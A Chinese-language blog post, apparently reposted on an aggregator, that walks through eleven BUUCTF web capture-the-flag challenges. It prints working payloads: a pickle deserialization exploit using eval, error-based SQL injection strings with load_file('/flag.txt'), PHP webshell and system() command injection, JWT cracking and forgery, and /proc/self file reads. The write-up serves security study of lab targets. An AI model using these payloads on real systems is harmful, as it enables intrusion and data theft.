BUUCTF刷题十一道(07)

这篇具有很好参考价值的文章主要介绍了BUUCTF刷题十一道(07)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

[Zer0pts2020]Can you guess it?

参考博客

BUUCTF刷题十一道(07)
界面源码没有东西,点Source看看

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>

preg_match正则匹配,结尾用不可见字符绕过

要从config.phpflag$_SERVER['PHP_SELF']表示的就是当前访问的php页面

当我们传入index.php/config.php时,仍然请求的是index.php,但是当basename()处理后,highlight_file()得到的参数就变成了config.php,从而我们就实现了任意文件包含。

/index.php/config.php/啊?source

====================================================

[CISCN2019 华北赛区 Day1 Web2]ikun

CISCN2019 华北赛区 Day1 Web2ikun

先找有’lv6.png’的页面,查源码可以看到图片的命名方式

import requests

url="http://e2a346a8-9df8-4038-9c92-2bdb2a343420.node4.buuoj.cn:81/shop?page=";

for i in range(0,1000):
    res=requests.get(url+str(i))

    if('lv6.png' in res.text):
        print("findstr"+str(i))
        break

#findstr180

购买lv6并加入折扣
BUUCTF刷题十一道(07)
有页面跳转,访问之

BUUCTF刷题十一道(07)
在cookie中发现jwt,尝试进行爆破、伪造

jwt-cracker

jwtcracker eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjExMSJ9.5hqClCrHxXTMD2pR9wgK4Kjt8Quuy1puPM4MamgHLOg

BUUCTF刷题十一道(07)
网站https://jwt.io/进行修改放包

BUUCTF刷题十一道(07)

BUUCTF刷题十一道(07)

BUUCTF刷题十一道(07)
Admin.py中有反序列化内容

BUUCTF刷题十一道(07)
BUUCTF刷题十一道(07)

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

生成

c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

点击b1g_m4mber中的一键成为大会员,将admin改为上述值即可

[GWCTF 2019]枯燥的抽奖

https://blog.csdn.net/qq_61778128/article/details/127113502
https://www.cnblogs.com/Article-kelp/p/16046948.html

发现数据传到check.php,访问发现源码,考察伪随机数
需要根据已经有的前半部分字符串,利用php_mt_seed跑出伪随机数种子,再生成这个完整的字符串

<?php
error_reporting(0);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$string='NTxNCNzpql';
$len1=10;
for ( $i = 0; $i < $len1; $i++ ){
$pos=strpos($str_long1,$string[$i]);
    echo $pos." ".$pos." 0 61 " ;  
}
?>
49 49 0 61 55 55 0 61 23 23 0 61 49 49 0 61 38 38 0 61 49 49 0 61 25 25 0 61 15 15 0 61 16 16 0 61 11 11 0 61

linux下用php_mt_seed-main工具,先make

BUUCTF刷题十一道(07)
BUUCTF刷题十一道(07)

BUUCTF刷题十一道(07)

[WUSTCTF2020]CV Maker

注册账号,然后登陆
BUUCTF刷题十一道(07)
上传图片,抓包,改后缀,加一句话
BUUCTF刷题十一道(07)
找到路径
BUUCTF刷题十一道(07)
打开,连shell,根目录下找flag
BUUCTF刷题十一道(07)
BUUCTF刷题十一道(07)

[NCTF2019]True XML cookbook

[RCTF2015]EasySQL

二次注入,登录处注入没用,选文章那尝试了文件包含没用

BUUCTF刷题十一道(07)
有改密码功能,所以能显示,尝试二次
BUUCTF刷题十一道(07)

BUUCTF刷题十一道(07)
BUUCTF刷题十一道(07)
双引号闭合,故构造语句(有空格过滤)
aaa“||updatexml(1,concat(0x7e,database(),0x7e),1)#

BUUCTF刷题十一道(07)
BUUCTF刷题十一道(07)
查一下表名
aaa"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#

BUUCTF刷题十一道(07)
aaa"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1)#

BUUCTF刷题十一道(07)
aaa"||updatexml(1,concat(0x7e,(select(flag)from(web_sqli.flag)),0x7e),1)#
BUUCTF刷题十一道(07)
看看users表有无flag
aaa"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1)#
BUUCTF刷题十一道(07)
盲猜没显示全,right、left不能用,换regexp()
aaa"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r')),0x7e),1)#
BUUCTF刷题十一道(07)

查一下flag
aaa"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1)#
BUUCTF刷题十一道(07)
一堆杂结果,正则匹配内容
aaa"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^flag')),0x7e),1)#

BUUCTF刷题十一道(07)
aaa"||updatexml(1,concat(0x7e,(reverse(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('9578'))),0x7e),1)#
BUUCTF刷题十一道(07)
BUUCTF刷题十一道(07)
flag{d9887829-d110-4cec-9578-970715946271}

[CISCN2019 华北赛区 Day1 Web1]Dropbox

参考博客

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

index.php查看源码有文件包含?file=xxxx

伪协议读源码

change.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

对username有过滤,但是对address没有过滤,在confirm中对地址没有过滤便进行插入
"' and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,32)),0x7e),1)#
BUUCTF刷题十一道(07)
"' and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,32)),0x7e),1)#

[红明谷CTF 2021]write_shell

代码审计发现是向某个随机生成的目录index.php写内容,先action=pwd获取自己的目录
BUUCTF刷题十一道(07)
然后尝试短标签<?=system("ls")?>
BUUCTF刷题十一道(07)
空格%09绕过查看根目录?action=upload&data=<?=system("ls%09/")?>
BUUCTF刷题十一道(07)
查flag
BUUCTF刷题十一道(07)

[watevrCTF-2019]Cookie Store

f12 network发现有一个302跳转buy页面,直接访问无果

BUUCTF刷题十一道(07)

抓包发现302重设了cookie
BUUCTF刷题十一道(07)
base64解码看到json字符串
BUUCTF刷题十一道(07)
尝试改金额放到cookie里
BUUCTF刷题十一道(07)

BUUCTF刷题十一道(07)
BUUCTF刷题十一道(07)

[网鼎杯 2020 白虎组]PicDown

文件包含任意文件下载
BUUCTF刷题十一道(07)
BUUCTF刷题十一道(07)
尝试/etc/passwd下载到beautiful.jpg里
尝试php://filter伪协议读源码无果
直接尝试/flag下载

看别的师傅的wp发现这道题本意并非如此
参考博客

/proc/self/cmdline 获取进程启动命令
BUUCTF刷题十一道(07)
读/proc/self/cwd/app.py也就是当前运行程序环境下的app.py


from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

需要知道密钥,然后可以执行系统命令
密钥从/proc/self/fd/{id}中找BUUCTF刷题十一道(07)文章来源地址https://www.toymoban.com/news/detail-494701.html

到了这里,关于BUUCTF刷题十一道(07)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 力扣刷题笔记-07 整数反转

    狗看了都摇头的年纪,纯爱战士一败涂地。 temp用来保存个位数 res用来保存当前结果 123,取模运算,这样就可以获得最后一位。比如对123%10,得到temp=3. 判断res是不是溢出( 重点 ) 如果没有溢出,res扩大十倍,再加上个位数,就相当于是反转了。res = res * 10 + temp; 返回res。

    2024年02月08日
    浏览(43)
  • 刷题笔记day07-哈希表part03

    2024年02月06日
    浏览(41)
  • 蓝桥杯·3月份刷题集训Day07

    本篇博客旨在记录自已打卡蓝桥杯3月份刷题集训,同时会有自己的思路及代码解答希望可以给小伙伴一些帮助。本人也是算法小白,水平有限,如果文章中有什么错误之处,希望小伙伴们可以在评论区指出来,共勉💪。 A1、约数个数 题目 : 本题为填空题,只需要算出结果

    2023年04月09日
    浏览(41)
  • 07 Linux补充|秋招刷题|9月6日

    Linux 结构体内存字节对齐 静态变量static 空指针 结构体内存字节要对⻬: 32位系统:4 8 32;64位系统:8 16 24 字节对⻬:字节对⻬是指在计算机中,各种类型数据按照⼀定的规则在空间上排列,以满⾜硬件平台对存储空间的处理要求。 (1)在修饰变量的时候,static 修饰的静

    2024年02月09日
    浏览(37)
  • Hive面试题十道

    问题 1:什么是Hive? 答案:Hive是一个基于Hadoop的数据仓库工具,它提供了类似SQL的查询语言(HiveQL)来进行大规模数据的分析和处理。Hive将结构化数据映射到Hadoop的分布式文件系统(HDFS)上,并通过MapReduce任务执行查询操作。 问题 2:Hive的主要特性是什么? 答案:Hive的主

    2024年02月12日
    浏览(41)
  • Hadoop面试题十道

    问题 1:Hadoop是什么? 答案:Hadoop是一个开源的分布式计算框架,用于处理大规模数据集的存储和处理。它基于Google的MapReduce和Google文件系统(GFS)的思想,旨在解决大数据量的处理和分析问题。 问题 2:Hadoop的核心组件有哪些? 答案:Hadoop的核心组件包括以下几个: Hado

    2024年02月09日
    浏览(37)
  • Redis面试题十道

    问题 1:什么是Redis? 答案:Redis是一个开源的内存数据存储系统,也被称为键值存储数据库。它支持多种数据结构,如字符串、哈希表、列表、集合和有序集合,并提供了丰富的操作命令和功能。Redis具有高性能、低延迟和可扩展性,被广泛用于缓存、会话存储、消息队列等

    2024年02月09日
    浏览(37)
  • 【代码随想录刷题记录】24 两两交换链表中的节点、19 删除链表的倒数第n个节点 、面试题 02.07. 链表相交、142 环形链表||

    题目 给你一个链表,两两交换其中相邻的节点,并返回交换后链表的头节点。你必须在不修改节点内部的值的情况下完成本题(即,只能进行节点交换)。 题目链接:https://leetcode.cn/problems/swap-nodes-in-pairs/ 代码 小结 使用虚拟头结点统一头结点交换的特殊情况,根据交换使用

    2024年02月11日
    浏览(44)
  • 【多线程面试题十六】、谈谈ReentrantLock的实现原理

    文章底部有个人公众号: 热爱技术的小郑 。主要分享开发知识、学习资料、毕业设计指导等。有兴趣的可以关注一下。为何分享? 踩过的坑没必要让别人在再踩,自己复盘也能加深记忆。利己利人、所谓双赢。 面试官:谈谈ReentrantLock的实现原理 参考答案: ReentrantLock是基

    2024年02月06日
    浏览(60)
  • PTS测试

    PTS性能测试 性能测试PTS(Performance Testing Service)是一款简单易用,具备强大的分布式压测能力的SaaS压测平台。 PTS可以模拟复杂的业务场景,并快速精准地调度不同规模的流量,同时提供压测过程中多维度的监控指标和日志记录。您无需准备资源,即可按需发起压测任务,监

    2024年02月07日
    浏览(50)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包